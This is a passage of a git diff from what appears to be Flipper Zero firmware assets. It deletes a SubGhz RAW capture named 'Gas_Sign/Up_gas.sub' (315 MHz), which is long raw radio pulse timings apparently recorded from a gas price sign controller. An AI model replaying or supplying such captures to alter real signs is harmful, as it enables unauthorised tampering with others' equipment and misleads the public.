335 -124 109 -374 97 -362 125 -358 329 -122 123 -356 139 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 99 -3752 99 -380 103 -360 105 -370 347 -106 371 -98 359 -124 359 -104 359 -106 107 -398 319 -140 319 -142 333 -124 109 -374 99 -360 125 -360 327 -122 123 -358 137 -336 369 -106 337 -130 131 -346 105 -370 365 -106 337 -130 97 -3754 99 -362 125 -358 103 -394 319 -140 355 -106 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 141 -342 137 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3694 131 -360 93 -390 101 -394 321 -106 351 -142 333 -124 359 -104 359 -106 141 -362 319 -140 359 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3714 99 -352 127 -370 97 -372 347 -124 347 -126 337 -128 339 -128 337 -126 95 -384 349 -104 337 -122 375 -96 121 -372 101 -370 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -370 365 -106 337 -128 diff --git a/assets/resources/subghz/Gas_Sign/Up_gas.sub b/assets/resources/subghz/Gas_Sign/Up_gas.sub deleted file mode 100644 index 843448f6c..000000000 --- a/assets/resources/subghz/Gas_Sign/Up_gas.sub +++ /dev/null @@ -1,51 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 141 -623 361 -1286510 165 -360 139 -326 143 -334 365 -108 337 -94 349 -126 337 -128 337 -128 127 -348 351 -102 337 -124 339 -128 121 -338 133 -366 91 -380 317 -134 141 -360 107 -334 127 -354 93 -370 129 -340 129 -338 347 -124 337 -128 93 -3730 97 -372 97 -372 95 -370 347 -94 369 -96 369 -98 337 -124 365 -106 141 -362 317 -142 321 -140 333 -94 139 -340 127 -356 93 -370 347 -132 103 -358 141 -334 93 -384 93 -372 95 -372 129 -340 347 -124 337 -128 91 -3732 97 -374 95 -372 95 -370 347 -94 369 -96 369 -96 339 -124 363 -106 141 -364 319 -106 353 -142 333 -92 139 -340 127 -358 123 -360 329 -122 89 -378 137 -334 125 -354 93 -372 129 -338 129 -340 347 -124 337 -128 91 -3740 97 -360 101 -386 105 -336 353 -140 303 -126 349 -138 361 -106 335 -128 95 -364 353 -106 347 -140 299 -124 141 -340 127 -358 95 -390 327 -124 89 -378 101 -370 93 -386 93 -372 95 -372 129 -340 347 -126 337 -128 91 -3738 97 -360 101 -386 105 -336 353 -140 333 -94 383 -104 361 -108 337 -94 127 -364 353 -106 349 -104 365 -94 139 -340 127 -358 93 -392 327 -122 91 -376 139 -332 125 -354 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3702 99 -360 135 -356 105 -336 355 -140 333 -94 347 -126 337 -128 337 -128 127 -346 353 -102 337 -124 343 -126 121 -372 101 -366 93 -378 349 -102 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3712 99 -358 103 -384 105 -336 353 -140 335 -94 383 -104 361 -106 337 -96 125 -366 355 -104 349 -104 367 -92 139 -340 127 -358 93 -392 327 -122 109 -376 97 -360 125 -338 129 -340 129 -338 129 -338 377 -96 369 -96 125 -3696 131 -340 129 -338 127 -342 343 -126 337 -130 337 -126 339 -124 355 -104 141 -362 319 -106 355 -142 331 -94 139 -340 127 -372 105 -360 351 -106 107 -348 123 -356 137 -354 105 -338 123 -386 103 -360 351 -106 359 -108 105 -3708 99 -358 137 -356 105 -336 355 -140 335 -94 357 -138 325 -142 339 -102 135 -350 355 -106 345 -102 331 -126 119 -374 101 -368 93 -394 329 -132 103 -358 105 -370 93 -380 103 -360 103 -374 99 -364 351 -138 301 -126 123 -3702 133 -356 103 -358 105 -370 329 -142 337 -128 315 -126 337 -130 337 -128 95 -380 351 -104 335 -124 343 -128 121 -370 101 -366 91 -382 317 -134 105 -396 105 -334 127 -354 95 -370 97 -372 129 -340 347 -124 339 -128 91 -3730 99 -394 101 -354 107 -336 355 -140 -RAW_Data: 335 -94 355 -140 359 -106 341 -102 135 -350 355 -106 345 -102 363 -94 121 -372 103 -366 93 -396 329 -98 135 -358 105 -370 93 -392 103 -360 103 -382 103 -336 353 -140 333 -94 123 -3702 131 -354 103 -358 141 -336 331 -142 335 -126 317 -126 337 -128 339 -128 125 -346 353 -140 301 -124 343 -126 121 -372 101 -366 93 -380 349 -102 141 -362 105 -334 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3706 97 -360 135 -356 105 -336 357 -140 333 -94 355 -140 361 -106 341 -100 135 -352 351 -94 363 -104 337 -124 121 -354 139 -334 125 -368 331 -98 135 -358 107 -368 93 -380 103 -360 139 -338 99 -364 351 -140 333 -92 139 -3682 131 -340 129 -340 127 -340 345 -126 337 -128 339 -126 337 -126 361 -104 141 -362 319 -140 321 -142 333 -92 139 -340 127 -358 93 -392 327 -124 119 -346 139 -334 127 -352 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3706 97 -372 97 -372 97 -370 347 -124 339 -128 337 -128 337 -94 375 -108 143 -362 313 -142 325 -108 337 -126 123 -354 139 -334 125 -354 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3706 99 -358 137 -354 107 -336 355 -140 333 -94 357 -140 359 -106 341 -102 135 -350 357 -106 345 -102 363 -92 121 -374 101 -368 91 -396 329 -132 103 -358 105 -370 93 -380 103 -360 139 -338 99 -364 351 -140 331 -94 125 -3702 131 -356 103 -358 143 -334 329 -142 335 -94 361 -140 361 -106 339 -102 133 -352 357 -106 345 -102 361 -94 121 -372 101 -368 93 -396 329 -98 137 -356 107 -370 93 -380 103 -362 103 -374 99 -364 349 -104 337 -124 125 -3700 133 -354 103 -358 143 -334 331 -140 337 -126 329 -140 359 -106 341 -100 135 -352 353 -92 363 -104 337 -124 121 -354 139 -334 125 -354 351 -102 141 -362 105 -336 127 -370 105 -360 103 -382 103 -336 351 -140 335 -94 125 -3702 131 -356 101 -396 105 -334 365 -108 337 -126 329 -140 359 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -372 101 -368 93 -396 329 -98 135 -358 107 -370 93 -380 103 -360 139 -338 99 -364 351 -140 331 -94 125 -3704 133 -358 101 -358 107 -370 327 -140 335 -94 359 -140 361 -106 341 -102 133 -352 353 -92 363 -106 335 -124 123 -352 139 -334 127 -368 331 -98 135 -358 107 -370 93 -380 103 -360 103 -374 99 -364 351 -104 367 -94 141 -3678 131 -340 129 -338 129 -370 345 -94 369 -98 337 -128 337 -126 363 -104 141 -364 319 -140 -RAW_Data: 321 -142 333 -92 139 -340 127 -358 93 -392 327 -122 121 -348 137 -336 125 -354 93 -370 129 -340 129 -338 349 -124 337 -126 123 -3704 97 -374 95 -372 129 -340 345 -126 337 -128 337 -128 337 -126 343 -108 141 -362 315 -140 325 -144 303 -126 125 -358 139 -334 125 -352 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -124 337 -126 123 -3700 99 -372 127 -340 127 -340 347 -124 337 -128 337 -128 337 -126 341 -122 93 -372 349 -132 329 -124 337 -128 121 -338 131 -334 123 -378 349 -102 139 -362 105 -336 127 -354 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3702 99 -392 103 -358 105 -338 357 -140 333 -96 357 -140 359 -106 341 -102 135 -350 357 -104 347 -102 363 -92 121 -374 101 -368 93 -394 331 -98 135 -358 107 -370 93 -380 101 -362 139 -336 101 -364 351 -138 333 -94 125 -3704 131 -356 103 -358 107 -370 329 -140 337 -126 329 -140 325 -140 341 -100 135 -350 357 -106 345 -102 363 -92 121 -374 101 -370 91 -396 329 -98 137 -356 107 -368 93 -394 101 -362 103 -382 103 -336 351 -140 333 -94 127 -3706 131 -358 101 -358 107 -370 329 -140 335 -126 317 -126 337 -128 339 -128 125 -346 355 -138 333 -94 343 -126 121 -372 101 -368 91 -380 351 -102 141 -362 105 -334 127 -356 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3704 97 -372 95 -372 129 -340 345 -124 337 -128 339 -128 337 -128 341 -142 105 -362 347 -106 361 -106 335 -128 95 -366 103 -368 93 -386 319 -134 139 -362 105 -336 127 -358 93 -370 97 -372 129 -340 349 -124 339 -128 91 -3738 99 -372 95 -372 95 -372 345 -94 369 -96 371 -96 369 -94 367 -106 141 -362 319 -140 321 -142 333 -94 139 -340 127 -360 93 -390 327 -124 89 -378 139 -334 125 -354 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3704 99 -392 103 -356 107 -336 355 -140 337 -126 327 -138 325 -142 339 -102 133 -350 355 -104 345 -138 329 -124 91 -374 101 -368 93 -396 331 -132 103 -358 105 -368 95 -382 95 -390 103 -354 107 -368 325 -140 335 -126 95 -3706 133 -354 103 -358 143 -334 365 -108 335 -128 317 -126 337 -128 337 -128 125 -344 353 -140 333 -94 347 -126 121 -370 101 -368 91 -382 349 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 99 -360 135 -356 105 -336 355 -140 333 -94 347 -128 337 -128 337 -128 127 -344 353 -140 333 -94 343 -126 121 -372 101 -366 93 -380 349 -104 -RAW_Data: 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3704 97 -394 101 -358 105 -338 355 -140 335 -94 359 -140 359 -106 341 -102 133 -352 353 -92 365 -104 337 -124 121 -354 137 -334 127 -368 331 -98 137 -356 107 -370 93 -392 103 -360 103 -382 103 -336 351 -140 333 -94 125 -3708 131 -358 103 -358 107 -370 327 -140 335 -128 317 -126 369 -96 339 -126 127 -344 353 -140 333 -94 345 -126 123 -370 101 -368 91 -380 349 -104 141 -362 105 -336 127 -354 95 -370 129 -340 127 -340 347 -124 337 -128 121 -3706 99 -394 101 -358 105 -336 357 -140 333 -96 357 -140 359 -106 341 -102 135 -348 341 -96 369 -98 369 -94 125 -356 127 -338 129 -372 315 -122 141 -342 135 -334 123 -340 127 -372 97 -372 95 -372 345 -94 391 -104 103 -3706 139 -336 99 -364 125 -360 327 -122 339 -128 337 -128 337 -128 337 -124 123 -346 349 -130 331 -124 337 -128 121 -338 131 -336 123 -378 349 -102 141 -362 105 -334 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 97 -394 103 -356 105 -336 355 -140 335 -94 357 -140 361 -106 339 -102 135 -352 357 -106 345 -102 363 -92 121 -374 101 -368 93 -382 349 -104 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3708 99 -360 135 -356 105 -338 355 -140 333 -94 357 -140 361 -104 343 -100 135 -350 341 -96 369 -96 369 -96 125 -362 125 -340 129 -340 347 -124 121 -352 139 -334 127 -354 93 -392 101 -358 107 -368 329 -140 337 -94 127 -3712 133 -338 127 -340 129 -340 347 -124 359 -104 359 -108 337 -124 357 -106 139 -356 327 -126 347 -94 355 -140 103 -354 95 -370 129 -340 347 -124 119 -348 139 -334 127 -354 95 -370 129 -340 127 -340 347 -124 339 -126 123 -3702 99 -370 129 -340 127 -340 347 -124 337 -128 337 -130 337 -126 339 -124 123 -342 349 -132 329 -124 337 -128 121 -338 131 -334 123 -378 349 -102 141 -362 105 -336 127 -354 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3704 99 -392 103 -358 107 -336 357 -140 333 -96 357 -140 359 -106 341 -102 135 -352 353 -92 363 -106 335 -124 123 -352 139 -334 125 -354 351 -104 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -122 339 -126 123 -3704 99 -392 103 -358 107 -336 357 -140 335 -94 359 -140 359 -106 341 -102 133 -352 353 -94 363 -106 337 -124 121 -354 137 -336 125 -368 329 -100 135 -358 107 -368 93 -382 93 -392 101 -358 107 -368 -RAW_Data: 327 -140 335 -94 127 -3706 133 -356 101 -358 143 -334 365 -108 335 -126 329 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -372 103 -368 93 -394 329 -134 101 -358 107 -368 93 -394 101 -362 103 -382 103 -336 353 -138 335 -94 125 -3710 131 -340 129 -338 129 -340 347 -124 359 -106 357 -108 337 -124 357 -106 139 -356 327 -126 363 -104 361 -106 105 -348 137 -354 107 -336 355 -140 107 -362 105 -370 99 -360 123 -360 103 -358 141 -334 363 -108 335 -128 95 -3710 131 -358 101 -358 143 -334 329 -140 337 -126 329 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -372 103 -368 93 -394 329 -134 101 -358 107 -368 93 -394 101 -362 103 -382 103 -336 351 -140 333 -94 127 -3704 131 -342 127 -340 129 -338 349 -122 341 -126 337 -130 337 -126 337 -126 123 -346 347 -132 331 -124 337 -126 123 -338 131 -336 123 -378 347 -104 141 -360 107 -334 127 -356 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3712 97 -360 135 -356 105 -336 355 -140 335 -94 347 -126 337 -130 337 -128 125 -346 353 -140 333 -94 345 -126 121 -370 101 -368 91 -382 349 -102 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 349 -124 337 -128 121 -3706 97 -394 103 -358 105 -336 357 -140 335 -94 357 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -92 121 -374 101 -368 93 -396 329 -132 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 351 -140 335 -94 125 -3708 133 -358 101 -358 107 -370 327 -140 335 -128 327 -140 361 -106 341 -100 135 -352 353 -92 365 -104 337 -124 121 -354 139 -334 125 -368 333 -98 135 -358 107 -370 93 -380 103 -360 139 -338 99 -366 349 -104 369 -94 139 -3714 99 -358 103 -384 105 -336 353 -140 333 -94 347 -126 337 -130 337 -128 125 -344 353 -140 333 -94 347 -126 121 -370 101 -368 91 -382 349 -102 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3710 99 -392 103 -356 105 -336 357 -140 335 -94 357 -140 361 -106 341 -100 135 -348 343 -96 369 -96 369 -94 125 -362 127 -340 129 -338 349 -122 121 -354 139 -334 125 -370 103 -360 103 -384 103 -336 353 -140 333 -94 139 -3714 99 -358 103 -386 105 -336 353 -140 333 -94 349 -126 369 -96 337 -128 127 -344 353 -140 333 -94 345 -126 121 -372 101 -366 93 -380 349 -104 141 -362 105 -336 127 -354 95 -370 129 -340 129 -338 349 -122 339 -126 123 -3710 99 -358 137 -356 105 -336 -RAW_Data: 357 -140 335 -94 357 -140 359 -106 341 -102 135 -348 341 -96 369 -98 369 -94 125 -362 127 -338 129 -340 349 -122 123 -352 139 -334 127 -354 93 -392 101 -358 107 -370 327 -142 335 -94 127 -3706 131 -352 103 -394 105 -334 369 -108 335 -128 321 -126 369 -96 337 -128 127 -342 355 -140 333 -94 345 -126 123 -372 101 -366 91 -382 349 -104 139 -362 105 -336 127 -356 95 -370 129 -340 129 -338 347 -124 337 -128 121 -3704 99 -394 101 -358 107 -368 327 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -92 365 -104 337 -124 121 -354 139 -334 125 -368 331 -100 135 -358 107 -368 93 -394 101 -362 103 -382 103 -336 351 -140 333 -94 127 -3706 131 -354 103 -394 105 -334 367 -108 335 -128 319 -124 369 -98 337 -128 127 -342 355 -140 333 -94 345 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3704 131 -338 129 -338 129 -340 347 -124 337 -126 339 -128 337 -128 339 -124 123 -342 347 -132 331 -124 337 -126 123 -338 131 -336 123 -378 347 -104 139 -362 107 -334 127 -356 93 -372 129 -340 127 -340 347 -124 337 -128 121 -3712 97 -394 103 -356 105 -336 355 -140 335 -94 357 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -94 121 -372 103 -366 125 -366 329 -98 137 -358 105 -370 93 -380 103 -360 139 -338 99 -366 349 -140 333 -94 125 -3708 131 -358 103 -358 105 -370 329 -140 337 -126 327 -140 361 -106 341 -102 133 -354 353 -92 363 -106 335 -124 123 -352 139 -334 127 -354 349 -104 141 -362 105 -336 127 -358 93 -390 103 -358 105 -370 329 -140 337 -126 95 -3714 131 -340 127 -340 129 -340 347 -124 357 -104 359 -108 339 -124 359 -104 139 -356 329 -126 361 -106 359 -106 105 -350 137 -356 105 -336 355 -142 105 -362 105 -370 99 -360 125 -358 103 -358 141 -334 365 -106 337 -126 97 -3710 131 -358 101 -358 143 -334 363 -106 337 -128 329 -140 359 -106 341 -102 133 -352 357 -106 345 -102 363 -94 119 -374 103 -368 125 -362 331 -132 103 -358 105 -370 93 -380 95 -370 129 -340 129 -338 347 -126 335 -128 123 -3708 99 -358 137 -354 107 -336 355 -140 335 -94 357 -140 359 -106 341 -102 135 -352 353 -94 363 -106 335 -124 121 -354 139 -334 125 -370 329 -98 137 -358 107 -368 93 -394 101 -362 103 -382 105 -336 351 -140 333 -94 125 -3710 131 -358 103 -358 105 -370 329 -142 335 -126 329 -140 361 -106 341 -100 135 -352 -RAW_Data: 353 -92 363 -106 337 -124 121 -356 139 -334 125 -354 349 -104 141 -362 105 -336 129 -356 93 -370 129 -340 129 -338 349 -122 339 -126 123 -3710 99 -394 101 -358 105 -336 357 -140 333 -96 357 -140 361 -106 341 -100 135 -352 353 -94 363 -106 335 -124 121 -354 139 -334 125 -368 333 -98 135 -358 107 -370 93 -392 101 -362 103 -382 103 -336 353 -138 335 -94 125 -3704 129 -354 137 -360 105 -336 369 -106 337 -128 319 -126 369 -96 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -382 349 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3702 131 -362 101 -358 107 -368 327 -140 335 -96 359 -140 361 -106 341 -100 135 -352 357 -106 345 -102 363 -94 121 -372 103 -368 93 -394 329 -132 103 -358 105 -370 93 -392 103 -360 103 -384 105 -334 353 -140 333 -94 125 -3708 131 -356 103 -358 141 -336 365 -106 337 -128 317 -126 369 -96 337 -128 127 -342 355 -140 333 -94 345 -126 123 -370 101 -368 91 -382 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3706 97 -394 103 -358 105 -338 357 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -94 363 -104 337 -124 121 -356 139 -334 127 -352 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3704 131 -340 127 -340 127 -340 347 -124 339 -126 339 -128 337 -128 337 -124 123 -344 349 -132 331 -124 335 -128 123 -338 131 -336 123 -376 351 -102 141 -362 105 -336 125 -356 93 -372 129 -338 129 -340 347 -124 339 -128 121 -3704 97 -394 103 -358 105 -370 325 -140 335 -94 359 -140 359 -106 341 -102 135 -352 357 -106 345 -102 363 -94 119 -374 101 -370 91 -396 329 -134 101 -358 107 -370 93 -392 103 -360 103 -382 105 -336 351 -140 333 -94 125 -3710 131 -358 103 -358 141 -334 363 -108 335 -128 329 -140 361 -106 341 -100 135 -350 353 -94 363 -106 337 -124 121 -354 139 -336 125 -354 349 -104 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 349 -122 339 -126 123 -3708 99 -392 103 -358 105 -338 355 -140 335 -96 359 -138 361 -106 341 -100 135 -352 353 -94 363 -106 335 -124 123 -352 139 -336 125 -368 331 -98 137 -358 105 -370 93 -392 103 -360 103 -384 103 -336 351 -140 335 -94 125 -3708 133 -356 103 -358 141 -334 365 -106 337 -128 327 -140 361 -106 341 -102 133 -350 341 -96 369 -96 369 -96 125 -362 125 -340 129 -338 -RAW_Data: 349 -122 121 -356 139 -334 125 -356 93 -370 129 -340 127 -340 347 -124 357 -104 141 -3682 137 -340 137 -334 123 -340 349 -132 333 -124 357 -106 359 -108 337 -124 143 -342 347 -106 337 -130 357 -92 141 -340 127 -354 125 -340 349 -132 101 -360 141 -336 93 -384 93 -370 129 -340 129 -338 349 -124 337 -126 123 -3706 99 -394 101 -356 107 -336 357 -140 335 -94 359 -138 361 -106 341 -102 135 -352 353 -92 363 -106 337 -124 121 -356 137 -336 125 -354 349 -104 141 -364 103 -336 129 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3702 133 -358 101 -358 107 -370 327 -142 335 -126 317 -126 369 -96 337 -130 125 -344 355 -138 335 -94 345 -126 121 -372 101 -368 93 -380 349 -102 141 -362 107 -336 127 -354 93 -372 127 -340 129 -340 347 -124 337 -128 121 -3708 97 -394 101 -358 107 -368 327 -140 335 -94 357 -140 361 -106 341 -102 135 -352 353 -92 363 -106 335 -124 123 -354 139 -334 127 -354 349 -104 141 -362 105 -336 127 -358 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3704 131 -360 103 -358 105 -370 327 -140 335 -94 359 -140 361 -106 341 -100 135 -352 357 -104 345 -104 363 -94 119 -374 101 -370 123 -364 329 -134 103 -358 105 -370 93 -380 95 -370 129 -340 129 -338 349 -124 337 -128 121 -3708 99 -392 103 -356 107 -336 355 -140 335 -94 357 -140 361 -106 341 -100 135 -352 353 -94 363 -104 337 -124 123 -354 139 -334 125 -368 331 -100 135 -358 107 -368 93 -382 93 -392 101 -358 107 -368 327 -140 335 -94 127 -3710 131 -354 103 -394 105 -334 367 -108 337 -128 317 -126 369 -96 339 -128 125 -344 353 -140 335 -94 345 -126 121 -372 101 -366 93 -380 351 -102 141 -362 105 -336 127 -356 95 -370 129 -340 129 -338 349 -124 337 -128 121 -3706 97 -394 101 -358 107 -368 327 -140 335 -94 359 -138 361 -106 341 -102 135 -350 353 -94 365 -104 337 -124 121 -356 139 -334 125 -354 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 337 -128 121 -3710 97 -394 101 -358 107 -368 325 -140 335 -94 359 -140 361 -106 341 -100 135 -352 351 -94 363 -106 337 -124 123 -356 137 -334 127 -352 351 -102 141 -362 105 -336 129 -356 93 -372 129 -338 129 -340 347 -124 341 -126 123 -3708 97 -394 103 -358 105 -338 355 -140 335 -94 393 -104 361 -104 343 -102 135 -354 353 -92 363 -106 335 -124 121 -354 139 -334 127 -354 349 -104 141 -362 105 -338 127 -370 105 -360 103 -384 -RAW_Data: 103 -336 351 -140 333 -94 125 -3710 131 -358 103 -358 141 -336 363 -106 337 -128 327 -140 361 -106 341 -100 135 -352 355 -106 345 -104 363 -92 121 -374 103 -366 93 -384 351 -102 141 -362 105 -336 127 -356 93 -370 129 -340 129 -338 349 -124 339 -128 121 -3704 131 -340 127 -340 129 -338 347 -124 337 -128 337 -130 337 -128 339 -126 93 -374 349 -132 329 -124 337 -128 91 -370 131 -364 93 -378 319 -134 105 -396 105 -334 127 -356 95 -370 97 -372 129 -340 349 -124 339 -128 91 -3738 99 -372 95 -372 97 -372 347 -124 339 -128 337 -128 337 -94 377 -106 143 -362 315 -140 325 -144 303 -124 123 -358 139 -334 125 -354 351 -102 141 -362 105 -338 127 -356 93 -370 129 -340 129 -338 349 -122 341 -126 123 -3712 99 -392 103 -356 105 -336 357 -140 335 -94 357 -140 361 -106 341 -102 135 -350 353 -92 365 -106 335 -124 123 -354 139 -336 125 -354 349 -104 141 -362 105 -336 127 -374 103 -362 103 -380 105 -336 351 -140 333 -94 125 -3704 131 -352 137 -360 105 -336 369 -108 337 -128 321 -124 369 -98 337 -128 127 -342 355 -140 333 -94 347 -126 121 -372 101 -368 91 -380 349 -104 141 -362 105 -336 127 -356 93 -370 129 -340 127 -340 349 -122 339 -128 121 -3704 131 -360 103 -358 105 -370 327 -140 335 -128 327 -140 361 -106 341 -100 135 -352 355 -106 347 -102 363 -94 121 -372 103 -366 125 -366 329 -132 103 -358 105 -370 93 -394 103 -360 103 -382 103 -336 355 -138 333 -94 125 -3704 131 -350 137 -360 105 -336 373 -106 339 -128 319 -126 339 -128 337 -128 127 -346 355 -138 301 -124 347 -126 121 -372 101 -366 93 -380 319 -134 105 -396 105 -336 127 -356 93 -372 95 -372 129 -340 347 -124 339 -128 121 -3712 97 -360 135 -358 105 -338 353 -140 335 -126 327 -140 359 -106 341 -102 133 -352 355 -106 345 -138 329 -94 121 -374 101 -370 91 -398 329 -132 103 -356 107 -368 93 -396 101 -360 103 -382 103 -336 353 -140 333 -96 125 -3710 133 -356 101 -358 143 -334 363 -108 335 -128 329 -140 361 -106 341 -100 135 -352 353 -94 363 -104 337 -124 123 -354 139 -334 127 -354 349 -102 141 -364 105 -336 127 -358 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3708 131 -360 101 -358 107 -368 327 -140 333 -96 395 -104 361 -106 341 -100 135 -354 353 -92 363 -106 335 -126 121 -356 139 -334 125 -354 349 -104 141 -362 105 -336 127 -372 105 -360 105 -382 103 -336 351 -140 335 -94 125 -3708 131 -354 103 -394 -RAW_Data: 105 -336 365 -106 337 -128 349 -94 369 -98 337 -128 125 -344 355 -138 335 -94 347 -126 121 -372 101 -368 91 -382 349 -104 141 -362 105 -336 127 -354 93 -370 129 -340 129 -338 349 -122 339 -128 121 -3712 97 -394 103 -358 105 -338 355 -140 335 -94 359 -140 359 -106 341 -102 135 -346 343 -128 337 -128 337 -96 125 -360 125 -340 127 -372 315 -124 123 -360 141 -334 125 -354 93 -370 129 -340 129 -338 349 -124 337 -128 121 -3704 133 -360 103 -358 105 -370 327 -142 335 -96 347 -126 337 -130 337 -128 125 -348 353 -138 301 -124 347 -126 121 -372 101 -366 93 -380 319 -134 141 -362 103 -336 129 -356 93 -372 129 -338 129 -340 349 -124 337 -128 91 -3738 99 -394 101 -358 107 -336 357 -140 335 -94 357 -140 361 -104 343 -100 135 -348 343 -128 337 -96 369 -94 125 -360 127 -338 129 -372 315 -122 123 -360 139 -336 125 -354 93 -392 101 -358 107 -368 329 -140 335 -128 95 -3712 131 -356 103 -358 143 -334 365 -108 335 -128 329 -140 361 -106 339 -102 133 -354 357 -104 347 -102 363 -94 119 -374 101 -370 125 -362 331 -98 137 -358 105 -370 93 -392 103 -360 103 -382 105 -336 351 -140 333 -94 127 -3708 133 -356 103 -358 141 -336 363 -108 335 -128 349 -94 357 -138 355 -106 105 -360 359 -106 345 -102 363 -92 121 -374 101 -368 125 -364 331 -98 135 -358 107 -370 93 -392 103 -360 103 -382 105 -336 351 -140 335 -94 125 -3708 133 -356 101 -358 143 -334 365 -108 337 -126 319 -124 369 -98 337 -128 127 -342 355 -138 335 -94 345 -126 121 -372 101 -368 93 -380 349 -102 141 -362 107 -336 127 -356 93 -370 129 -340 127 -340 347 -124 339 -128 121 -3708 99 -394 101 -358 107 -338 355 -140 335 -94 361 -138 361 -106 341 -102 135 -352 353 -92 365 -104 337 -124 121 -356 139 -334 125 -354 351 -102 141 -362 105 -338 127 -358 93 -370 129 -340 129 -338 349 -122 339 -126 123 -3704 131 -362 101 -360 105 -370 327 -140 335 -94 395 -104 361 -106 341 -100 135 -354 353 -92 363 -106 335 -124 123 -354 141 -334 125 -354 349 -104 141 -362 107 -336 127 -356 125 -338 129 -340 129 -338 349 -124 339 -126 123 -3712 97 -394 103 -358 105 -338 355 -140 335 -94 393 -104 361 -104 343 -100 137 -348 341 -96 369 -98 369 -94 125 -362 125 -340 129 -338 349 -122 123 -356 139 -334 127 -354 123 -340 127 -340 129 -338 349 -122 355 -140 105 -3712 95 -364 139 -334 125 -352 347 -104 335 -124 353 -138 361 -106 335 -94 -RAW_Data: 139 -374 319 -124 357 -104 335 -124 121 -354 137 -334 127 -354 351 -102 141 -362 105 -336 129 -358 93 -392 101 -358 105 -370 327 -140 337 -126 97 -3710 131 -354 101 -394 107 -334 369 -106 337 -128 319 -126 337 -128 337 -128 127 -344 355 -140 333 -94 345 -126 121 -372 101 -368 93 -380 349 -104 139 -362 105 -336 129 -356 93 -372 127 -340 129 -340 349 -124 339 -126 123 -3706 97 -374 129 -338 129 -340 347 -122 337 -128 339 -128 337 -128 341 -124 91 -372 349 -132 329 -124 337 -128 91 -368 133 -364 93 -378 317 -134 141 -362 103 -336 127 -356 93 -372 129 -338 129 -340 349 -122 341 -128 121 -3706 99 -392 103 -358 107 -336 357 -140 335 -94 359 -138 361 -106 341 -102 135 -352 357 -106 345 -102 363 -92 121 -372 139 -332 125 -350 351 -102 141 -362 105 -338 127 -356 125 -338 127 -340 129 -340 347 -122 341 -128 121 -3712 131 -360 101 -360 105 -338 355 -140 335 -94 395 -104 361 -106 341 -102 135 -348 341 -128 337 -96 369 -96 125 -360 125 -340 129 -370 315 -124 123 -360 139 -334 125 -354 125 -338 127 -340 129 -340 347 -122 339 -128 121 -3708 131 -342 127 -340 129 -338 349 -124 339 -128 337 -130 337 -126 341 -142 105 -358 349 -106 361 -106 337 -130 97 -372 103 -370 93 -382 349 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -124 339 -128 121 -3702 131 -342 127 -340 129 -338 347 -124 339 -128 337 -128 337 -128 339 -124 125 -346 347 -132 329 -126 337 -128 91 -370 131 -366 91 -380 317 -134 105 -396 105 -336 127 -356 93 -370 129 -340 129 -340 349 -124 337 -128 91 -3734 131 -338 129 -338 129 -340 347 -124 337 -128 337 -128 337 -128 337 -124 123 -346 349 -132 329 -124 337 -128 121 -340 131 -366 91 -378 351 -102 141 -362 105 -336 127 -356 93 -372 127 -340 129 -340 347 -122 339 -126 123 -3702 131 -358 103 -358 107 -370 327 -140 337 -126 319 -124 369 -98 337 -128 127 -342 355 -138 333 -94 349 -126 121 -372 101 -366 93 -380 351 -102 141 -362 105 -334 129 -356 93 -372 129 -340 127 -340 349 -122 341 -128 121 -3704 131 -360 103 -358 107 -368 325 -140 335 -96 359 -140 359 -106 341 -102 135 -352 357 -106 345 -102 363 -94 121 -372 103 -698210 131 -358 103 -396 105 -334 367 -108 337 -126 317 -126 337 -128 337 -128 125 -346 353 -140 333 -92 345 